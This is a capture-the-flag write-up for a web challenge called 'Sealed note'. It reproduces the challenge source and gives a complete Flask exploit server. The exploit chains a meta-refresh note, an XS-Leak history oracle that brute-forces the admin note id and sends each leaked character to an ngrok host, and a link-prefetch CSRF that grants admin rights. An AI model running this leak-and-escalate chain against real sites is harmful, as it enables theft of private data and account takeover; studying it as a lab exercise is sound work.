- Category: Web
- Alone: (0 solve)
We have access to a web challenge allowing us to create, read and send notes to a Puppeteer
bot:
<html lang="en">
<head>
<title>Sealed note</title>
<meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="/static/mvp.css">
</head>
<body>
<main>
<h1>Your Notes</h1>
<div id="app"><ul></ul></div>
<h1>Create Note</h1>
<form action="/api/notes" method="POST">
<textarea rows="10" cols="50" name="content"></textarea><br>
<input type="submit">
</form>
<nav>
<ul>
<li> Can't find what you want? <a href="/search">Search your note</a></li>
<li><a href="/logout">Logout</a></li>
</ul>
</nav>
<script src="/static/notes.js"></script>
</main>
</body>
</html>
The source code https://ctf.intigriti.io/files/32ef27a2c62da1648a710f7c933c5b74/sealednote.zip?token=eyJ1c2VyX2lkIjoyMSwidGVhbV9pZCI6MTIsImZpbGVfaWQiOjQ2fQ.ZVdzaQ.0DRUN4DC3sQzEzfLbVxHDOzMhd4
of the challenge was forgotten at first but supplied later:
const express = require('express'); // ./challenge/src/app.js
const crypto = require('crypto')
const app = express()
const engine = require('ejs-locals')
const session = require('express-session')
const { visit } = require('./bot.js')
const port = process.env.PORT || 3000
const flag = process.env.FLAG || "FLAG{TEST}"
const ADMIN_USERNAME = process.env.ADMIN_USERNAME || 'admin'
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'admin'
const ADMIN_NOTE_ID = process.env.ADMIN_NOTE_ID || crypto.randomBytes(8).toString('hex')
const ORIGIN = process.env.ORIGIN || 'http://localhost:3000'
const USERS = new Map()
const NOTES = new Map()
const USER_NOTES = new Map()
const ROLES = new Map()
const JOB_QUEUE = []
const ROLE_NAME = { ADMIN: 'admin', GUEST: 'guest' }
console.log({ ADMIN_USERNAME, ADMIN_PASSWORD, ADMIN_NOTE_ID })
const sha256 = input => crypto.createHash('sha256').update(input).digest('hex');
(function init() {
if (!/^[a-f0-9]{16}$/.test(ADMIN_NOTE_ID)) {
throw new Error('wrong note id');
}
USERS.set(ADMIN_USERNAME, sha256(ADMIN_PASSWORD))
NOTES.set(ADMIN_NOTE_ID, flag)
USER_NOTES.set(ADMIN_USERNAME, [ADMIN_NOTE_ID])
ROLES.set(ADMIN_USERNAME, ROLE_NAME.ADMIN)
})();
app.engine('ejs', engine);
app.set('views', './views')
app.set('view engine', 'ejs')
app.use('/static', express.static(__dirname + '/public'))
app.use(express.json())
app.use(express.urlencoded({extended: false}))
app.use(session({
secret: process.env.SECRET || crypto.randomBytes(20).toString('hex'),
resave: false, saveUninitialized: true, cookie: { secure: false }
}))
app.use((req, res, next) => {
res.setHeader("Cache-Control", "no-store")
res.setHeader("X-Content-Type-Options", "nosniff")
res.setHeader("Referrer-Policy", "origin")
res.setHeader("Content-Security-Policy", [
"default-src 'self'",
"script-src 'self'",
"base-uri 'none'",
"object-src 'none'",
"img-src 'none'",
"frame-src data: http: https:",
].join(";")
)
next();
})
const requireLogin = (req, res, next) => {
if (!req.session.username) return res.status(401).end()
next()
}
const requireAdmin = (req, res, next) => {
if (req.session.username !== ADMIN_USERNAME) return res.status(401).end()
next()
}
const antiCSRF = (req, res, next) => {
const origin = req.headers['origin']
const fetchDest = req.headers['sec-fetch-dest']
if (fetchDest === 'document' || origin !== ORIGIN) {
return res.status(401).end('csrf failed')
}
next()
}
app.get('/', (req, res) => { return res.redirect(req.session.username ? '/notes' : '/register') })
app.get('/register', (req, res) => { res.render('register') })
app.get('/login', (req, res) => { res.render('login') })
app.get('/note', (req, res) => { if (!req.session.username) return res.redirect('/login'); res.render('note') })
app.get('/notes', (req, res) => { if (!req.session.username) return res.redirect('/login'); res.render('notes') })
app.get('/search', (req, res) => { if (!req.session.username) return res.redirect('/login'); res.render('search') })
app.get('/logout', (req, res) => { req.session.username = null; return res.redirect('/') })
app.get('/api/note/:id', requireLogin, (req, res) => {
const noteId = req.params.id
const username = req.session.username
const note = NOTES.get(noteId)
const notes = USER_NOTES.get(username)
const role = ROLES.get(username)
if (!note) { return res.json({ id: -1, content: 'Wrong note id' }) }
if (!notes.includes(noteId) && role !== ROLE_NAME.ADMIN) { return res.json({ id: -1, content: 'No permission' }) }
return res.json({ id: noteId, content: note })
})
app.get('/api/notes', requireLogin, (req, res) => {
const username = req.session.username
const notes = USER_NOTES.get(username)
return res.json(notes)
})
app.post('/api/notes', requireLogin, (req, res) => {
const username = req.session.username
const { content } = req.body
if (typeof content !== 'string' || content.length > 300 || username === ADMIN_USERNAME) {
return res.status(400).end()
}
const notes = USER_NOTES.get(username)
const noteId = crypto.randomBytes(8).toString('hex')
NOTES.set(noteId, content)
notes.unshift(noteId)
if (notes.length > 10) notes.length = 10
return res.redirect('/notes')
})
app.post('/api/search', requireLogin, (req, res) => {
const username = req.session.username
const { q } = req.body
if (typeof q !== 'string') {
return res.status(400).end()
}
const noteIds = USER_NOTES.get(username)
const noteId = noteIds.find(item => item.startsWith(q)) || -1
const note = NOTES.get(noteId)
return res.json({ noteId, note })
})
app.get('/api/role', antiCSRF, requireLogin, requireAdmin, (req, res) => {
const {username, role} = req.query
if (username === ADMIN_USERNAME) {
return res.status(400).end()
}
ROLES.set(username, role)
return res.status(200).end()
})
app.post('/api/register', (req, res) => {
const { username, password } = req.body
if (typeof username !== 'string' || typeof password !== 'string' || username.length < 8 || password.length < 8) {
return res.redirect('/register')
}
if (USERS.has(username)) {
return res.redirect('/register')
}
USERS.set(username, sha256(password))
USER_NOTES.set(username, [])
ROLES.set(username, 'guest')
return res.redirect('/login')
})
app.post('/api/login', (req, res) => {
const { username, password } = req.body
if (typeof username !== 'string' || typeof password !== 'string') {
return res.redirect('/login')
}
if (!USERS.has(username)) {
return res.redirect('/login')
}
const pwd = USERS.get(username)
if (pwd === sha256(password)) {
req.session.username = username
}
return res.redirect('/')
})
let concurrent = 0; // cf. https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak
const maxConcurrent = process.env.MAX_CONCURRENT || 3;
const JOB_LIMIT = new Map()
async function runVisitJob() {
if (!JOB_QUEUE.length) return
if (concurrent >= maxConcurrent) {
return setTimeout(runVisitJob, 1000)
}
concurrent++
const noteId = JOB_QUEUE.shift()
console.log('Job total:', JOB_QUEUE.length)
try {
await visit(noteId)
} catch(err) {
console.log('visit error', err)
}
concurrent--;
}
app.get('/api/share', requireLogin, (req, res) => {
const { id } = req.query
if (typeof id !== 'string' || !/^[a-f0-9]{16}$/.test(id)) {
return res.send('invalid id')
}
const ip = req.connection.remoteAddress || req.socket.remoteAddress
const lastVisitTime = JOB_LIMIT.get(ip)
const currentTime = +new Date()
const timeDiff = currentTime - lastVisitTime
const interval = 30 * 1000
if (lastVisitTime && timeDiff < interval) {
return res.send(`Please wait for another ${interval - timeDiff}ms`)
}
JOB_LIMIT.set(ip, currentTime)
JOB_QUEUE.push(id)
runVisitJob()
return res.send('admin bot will visit soon')
})
app.use((req, res) => { res.send('error') });
app.listen(port, () => { console.log(`app listening on port ${port}`); });
const puppeteer = require('puppeteer'); // ./challenge/src/bot.js
const ADMIN_USERNAME = process.env.ADMIN_USERNAME || 'admin'
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'admin'
const SITE_URL = process.env.SITE_URL || 'http://localhost:3000'
async function visit(noteId) { // https://pptr.dev/chromium-support | Chromium 110.0.5479.0 - Puppeteer v19.6.0
const browser = await puppeteer.launch({
headless: true, executablePath: process.env.NODE_ENV === 'production' ? '/usr/bin/chromium-browser' : null,
args: ['--no-sandbox', '--disable-gpu', '--disable-setuid-sandbox', '--js-flags=--noexpose_wasm,--jitless']
}); // Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
const context = await browser.createIncognitoBrowserContext();
const page = await context.newPage();
console.log('visit:', noteId); // page.on('console', msg => console.log('PAGE LOG:', msg.text()));
await page.goto(`${SITE_URL}/login`)
await page.waitForSelector("input[name=username]");
await page.type("input[name=username]", ADMIN_USERNAME);
await page.waitForSelector("input[name=password]");
await page.type("input[name=password]", ADMIN_PASSWORD);
await page.click("input[type=submit]");
await page.waitForTimeout(1000);
try {
await page.goto(`${SITE_URL}/note?id=${noteId}`)
await page.waitForNetworkIdle({idleTime: 1200, timeout: 30 * 1000})
} catch (e) { console.log(e); }
await browser.close(); // Troublesome
console.log('visit done');
}
module.exports = {visit}
// ./challenge/src/public/note.js
window.onload = function() {
const qs = new URLSearchParams(location.search);
const noteId = qs.get('id');
if (noteId) {
fetch("/api/note/" + noteId).then(res => res.json()).then(json => {
const app = document.querySelector('#app')
const shareBtn = document.querySelector('#share-btn')
if (json.id !== -1) { app.srcdoc = json.content; shareBtn.href = "/api/share?id=" + json.id; }
}).catch(err => console.log(err));
}
}
// ./challenge/src/public/notes.js
window.onload = function() {
fetch("/api/notes").then(res => res.json()).then(notes => {
const list = document.createElement('ul');
notes.forEach(id => {
const li = document.createElement('li')
li.innerHTML = `<a href="/note?id=${id}">${id}</a>`
list.appendChild(li)
})
document.querySelector('#app').appendChild(list);
}).catch(err => console.log(err));
}
// ./challenge/src/public/search.js
window.onload = function() {
const qs = new URLSearchParams(location.search);
const q = qs.get('q');
if (q) {
fetch("/api/search", {method:'POST', headers:{'Content-Type':'application/json'},
body:JSON.stringify({q})}).then(res=>res.json()).then(json => {
const app = document.querySelector('#app');
if (json.noteId !== -1) { app.src = 'data:text/html,' + json.noteId + '<br>' + json.note; }
}).catch(err => console.log(err));
}
} // https://github.com/andybrewer/mvp/blob/master/mvp.css
<!-- ./challenge/src/views/layout.ejs -->
<!DOCTYPE html>
<html lang="zh-TW">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Sealed note</title>
<link rel="stylesheet" href="/static/mvp.css">
</head>
<body>
<main>
<%- body %>
</main>
</body>
</html>
<!-- ./challenge/src/views/login.ejs -->
<% layout('layout') %>
<h1>Login</h1>
<form action="/api/login" method="POST">
Username: <input type=text name=username>
Password: <input type=password name=password>
<input type=submit>
</form>
<nav><ul><li>Don't have an account? <a href="/register">Register</a></li></ul></nav>
<!-- ./challenge/src/views/note.ejs -->
<% layout('layout') %>
<h1>Note</h1>
<iframe id="app" srcdoc="Not Found" csp="frame-src 'none';"></iframe>
<nav>
<ul>
<li><a href="/notes">Back</a></li>
<li><a id="share-btn">Share with admin</a></li>
</ul>
</nav>
<script src="/static/note.js"></script>
<!-- ./challenge/src/views/notes.ejs -->
<% layout('layout') %>
<h1>Your Notes</h1>
<div id="app">
</div>
<h1>Create Note</h1>
<form action="/api/notes" method="POST">
<textarea rows="10" cols="50" name="content"></textarea><br>
<input type="submit">
</form>
<nav>
<ul>
<li>Can't find what you want? <a href="/search">Search your note</a></li>
<li><a href="/logout">Logout</a></li>
</ul>
</nav>
<script src="/static/notes.js"></script>
<!-- ./challenge/src/views/register.ejs -->
<% layout('layout') %>
<h1>Register</h1>
<form action="/api/register" method="POST">
Username: <input type=text name=username minLength=8>
Password: <input type=password name=password minLength=8>
<input type=submit>
</form>
<nav><ul><li>Already registered? <a href="/login">Login</a></li></ul></nav>
<!-- ./challenge/src/views/search.ejs -->
<% layout('layout') %>
<h1>Search Result</h1>
<iframe id="app" src="data:text/html,Not Found"></iframe>
<h1>Search Note</h1>
<form action="/search" method="GET">
ID: <input type=text name=q>
<input type="submit">
</form>
<nav><ul><li><a href="/notes">Back</a></li></ul></nav>
<script src="/static/search.js"></script>
FROM node:20-alpine # ./challenge/Dockerfile
ENV NODE_ENV=production
ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true
ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
RUN apk update && apk upgrade
RUN apk add chromium
COPY ./src /app
WORKDIR /app
RUN npm i
CMD node app.js
version: "3.7" # ./challenge/docker-compose.yml
services:
web:
build: .
environment:
ADMIN_USERNAME: admin
ADMIN_PASSWORD: admin
MAX_CONCURRENT: 3
ORIGIN: http://localhost:3000
SITE_URL: http://localhost:3000
ADMIN_NOTE_ID: a123456789b12345
FLAG: CTF{LOCAL}
SECRET: test_secret
PORT: 3000
ports: - 3000:3000
And the ./challenge/src/package.json
file:
{
"name": "sealed-note",
"version": "1.0.0",
"main": "index.js",
"scripts": { "start": "node app.js", "test": "exit 1" },
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"ejs": "^3.1.8",
"ejs-locals": "^1.0.2",
"express": "^4.18.2",
"express-session": "^1.17.3",
"puppeteer": "^19.5.0"
}
}
We are not out of the woods yet, notably because the challenge was so impracticable during the CTF
that it was decided fairly to withdraw it without any compensation.
We quibble everything to try to find suspicious actions or some cross-site scripting within our notes.
Here is a non-exhaustive list of interesting findings to keep it digest:
- There is a
connect.sid
cookie initialization for the web session activity; - We could self-XSS on the
http://localhost/search?q=
url, when searching for a note id containing our code; - The
Puppeteer headless Chromium
version may be vulnerable to specificCVE
but unintended exploits (asGoogleapis
); - The
Content Security Policy
is sadly toostrict
, with an additional rule offrame-src 'none';
when displaying notes; - We could create an infinite number of notes but only the last
10
will be listed (so every note will be only readable by admins); - We could create a note that
logout
anyone (like the admin), for no particular purpose; - Since we have access to notes in
JSON
format from the API/api/note/:id
, we could serve ineffective (JSON
or mitra polyglot) malicious files; - The majority of web attacks as
DOM clobbering
,cookie stealing
,prototype pollution
ormutable injection
will not be very useful here; - We could also add some HTML
<22>
,<audio>
,<body>
,<div>
,<font>
,<form>
,<html>
,<link>
,<meta>
and<video>
tags to our notes.
Now all we have to do is to check every bit of code and read a ton of writeups (with club mate or epic music)!
Having eliminated unsuccessful leads, we are left with the possibility of XSLeaks, also known as Cross-site leaks
that are vulnerabilities derived from side-channels built into the web platform, especially given the title of the challenge where XSLeaks are used for leaking notes
(in other CTF
) most of the time.
We could come across some proof-of-concept similar to our use case (without forcing on OSINT
too much).
We then understand that we have no choice but to redirect the bot
to our attack script endpoint!
Therefore we should adapt some proof-of-concept
code to our needs (as unclear as possible, considering the mess we're already in) giving us:
from flask import Flask, Response, request; from json import loads
app = Flask(__name__) # https://github.com/alexdlaird/pyngrok
app.config["ck"] = "" # ngrok http 8000 --region us
exp, name = "https://ngrok-ip.app", "44d88612fea8a8f36de82e1278abb02f"
app.config["mid"], app.config["note"] = "", "" # session.permanent
proxies, s = {}, __import__("requests").Session() # spys.me/proxy.txt
url = "https://sealednote.ctf.intigriti.io" # "http://localhost:3000"
@app.route("/curl", methods=["GET"])
def curl() -> Response:
"""Launching the leaking attack (with admin note id)
Could return a redirect(flag(), code=302)
:command: curl http://localhost:8000/curl
:type target: Response
:return: The Response
:rtype: Response
"""
if (r := app.config.get("mid")) != "":
y = s.get(f"{url}/api/share?id={r}", cookies={"connect.sid":app.config.get("ck")}, proxies=proxies).text
if "Please wait for another" in y: [__import__("time").sleep(1), curl()]
else: r = s.get(f"{exp}/meta").text
if len(app.config.get("note")) == 0:
if not proxies: [print(f"{i} second(s) passed | {__import__('time').sleep(1)}") for i in range(1, 31)]
r += ":" + s.get(f"{exp}/link").text
return Response(r, content_type="text/html")
@app.route("/")
@app.route("/favicon.ico", methods=["GET"])
def fav() -> Response: return Response(status=204)
@app.route("/flag", methods=["GET"])
def flag() -> Response:
"""Retrieving the flag value (if possible with admin rights)
:command: curl http://localhost:8000/flag
:type target: Response
:return: The Response
:rtype: Response
"""
f, r = "", request.args
n = list(r.keys())[0] if len(r.keys()) == 1 else ""
if app.config.get("ck") != "":
if len(n) == 16: app.config["note"] = n
if len(app.config.get("note")) == 16:
req = s.get(f"{url}/api/note/{app.config.get('note')}", cookies={"connect.sid": app.config.get("ck")}).text
f = loads('{"content":""}' if "error" in req else req)["content"]; print(f"$ {f}")
if "No permission" in f: [__import__("time").sleep(1), link(), flag()]
if f == "": n = ""
else: raise RuntimeError(f"Flag ===> {f}")
return Response(f, content_type="text/html")
@app.route("/gif", methods=["GET"])
def gif() -> Response: return Response("R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=", mimetype="image/gif")
@app.route("/home", methods=["GET"])
def home() -> Response:
r = request.args
if len(r.keys()) == 1: app.config["note"] = list(r.keys())[0]; print(f"id={app.config.get('note')}")
return Response(status=204)
@app.route("/link", methods=["GET"])
def link() -> Response:
"""To become an administrator using the bot of the challenge
:command: curl http://localhost:8000/link
:type target: Response
:return: The Response
:rtype: Response
"""
if name != "" and login():
_ = s.post(f"{url}/api/notes", cookies={"connect.sid":app.config.get("ck")},
json={"content":f'<link/rel=prefetch href="http://localhost:3000/api/role?username={name}&role=admin" crossorigin="true"/>'})
k = loads(s.get(f"{url}/api/notes", cookies={"connect.sid":app.config.get("ck")}).text)[0]
print(f'$ {(v := s.get(f"{url}/api/share?id={k}", cookies={"connect.sid":app.config.get("ck")}, proxies=proxies).text)}')
return Response(name, content_type="text/html")
def login() -> str:
"""To connect to the challenge website
:return: The cookie of our session
:rtype: str
"""
if app.config.get("ck") == "":
(_, _) = (s.post(f"{url}/api/register", json={"username":name, "password":name}),
s.post(f"{url}/api/login", json={"username":name, "password":name}))
app.config.update({"ck": str(s.cookies.get_dict()["connect.sid"])})
return app.config.get("ck")
@app.route("/meta", methods=["GET"])
def meta() -> Response:
"""Launching the bruteforce of the admin note id
:command: curl http://localhost:8000/meta
:type target: Response
:return: The Response
:rtype: Response
"""
if exp != "" and login():
_ = s.post(f"{url}/api/notes", json={"content": f'<meta/http-equiv=refresh content="0;URL={exp}/poc"/>'},
cookies={"connect.sid": app.config.get("ck")})
app.config["mid"] = "invalid_id" if(_:=s.get(f"{url}/api/notes",cookies={"connect.sid":app.config.get("ck")}).text) is None else _[2:18]
if app.config.get("mid") in ("", "invalid_id"): app.config["ck"] = ""
y = s.get(f"{url}/api/share?id={app.config.get('mid')}", cookies={"connect.sid":app.config.get("ck")}, proxies=proxies).text
if not ("admin bot will visit soon" in y == "Please wait for another" not in y): print(f"$ {y}")
return Response(app.config.get("ck"), content_type="text/html")
@app.route("/poc", methods=["GET"])
def poc() -> Response:
"""Executing JS code on the bot side that will open pages (with different history length, hopefully) as much as needed to get the admin id note.
The valid timing range is between 500 and 5000 milliseconds locally as the nested setTimeout fetch's are almost obligatory.
The bruteforce timing is working less well against Linux system than Windows.
r.headers["Retry-After"]="2000";r.headers["Keep-Alive"]="timeout=5,max=1000";r.headers["Access-Control-Allow-Headers"]="Content-Type"
:command: curl http://localhost:8000/poc
:type target: Response
:return: The Response
:rtype: Response
"""
r = Response(f"""
<!DOCTYPE html>
<html lang="en">
<head>
<title>XS-Leaks-History</title>
<meta name="viewport" content="width=device-width,initial-scale=1.0"><meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="ie=edge"><meta name="robots" content="noindex">
</head>
<body>
<script>let [note, poc] = ["{app.config.get('note')}", "{exp}"];
async function run() {{
const p = [];
for (const c of [..."abcdef0123456789"]) {{
const k = note + c;
p.push(
new Promise((x, y) => {{
let w = window.open("http://localhost:3000/search?q="+k);
setTimeout(() => {{
w.location = "about:blank";
setTimeout(() => {{
if (w.history.length === 3) {{
fetch(poc+"/home?"+k, {{mode: "no-cors"}}).then(_=>_);
note = k; let _ = (note.length < 16) ? run() : fetch(poc+"/flag?"+note, {{mode: "no-cors"}}).then(_=>_); x();
}} else {{ y(); }}
w.close();
}}, 5e2);
}}, 7e2);
fetch(poc+"/home", {{mode: "no-cors"}}).then(_=>_);
}})
);
}}
try{{await Promise.allSettled(p);}} catch(e){{fetch(poc+"/home?"+JSON.stringify(e),{{mode:"no-cors"}}).then(_=>console.error(e));}}
}}
fetch(poc+"/home", {{mode: "no-cors"}}).then(_ => run());
</script>
</body>
</html>
""".strip(), content_type="text/html")
r.headers["Access-Control-Allow-Origin"] = r.headers["Allow-CSP-From"] = "*"
return r
if __name__ == "__main__": app.run(debug=0, host="localhost", port=8e3)
Putting another location
should work to have an oracle
system (to leak the admin note id).
We could potentially bruteforce notes transmission (on specific internet protocol address) from the /api/share
(to not wait 30
seconds each time) endpoint, with something like a proxy.
It may be necessary to restart the script manually to avoid errors such as Timeout exceeded while waiting for event
or Failed to load resource: the server responded with a status of 429
according to the operating system running, internet connection and web browsers which explains the challenge's infrastructures problems.
Our script will execute the curl https://ngrok-ip.app/curl
(or curl http://localhost:8000/curl
in local) command several times to get the admin
flag.
Furthermore, this attack takes care of sending a HTML <meta>
tag that will bruteforce the admin note id (character by character) while waiting 30
required seconds (without proxy), then sending this time a HTML <link>
tag to become an administrator
(as taking advantage of /api/role
, that has obviously no other purpose there) and finally retrieve the admin note!
user@ctf:~$ tmux new -s term;asciinema rec --command "tmux attach -t term" --max-wait 2 pod.cast;curl http://localhost:8000/curl;echo -en "CTF{LOCAL}"
- Addding a
Content Security Policy
rules against<link>
,<meta>
and so on; - Adding an efficient Document Object Model
XSS
sanitizer; - Setting requests bruteforce limitation for all;
- Monitoring I/O exfiltrations from (continuously updated)
Puppeteer
bot and other endpoints.
Leaving aside the instability of the challenge, it was very delightful to explore given the technical chaining case!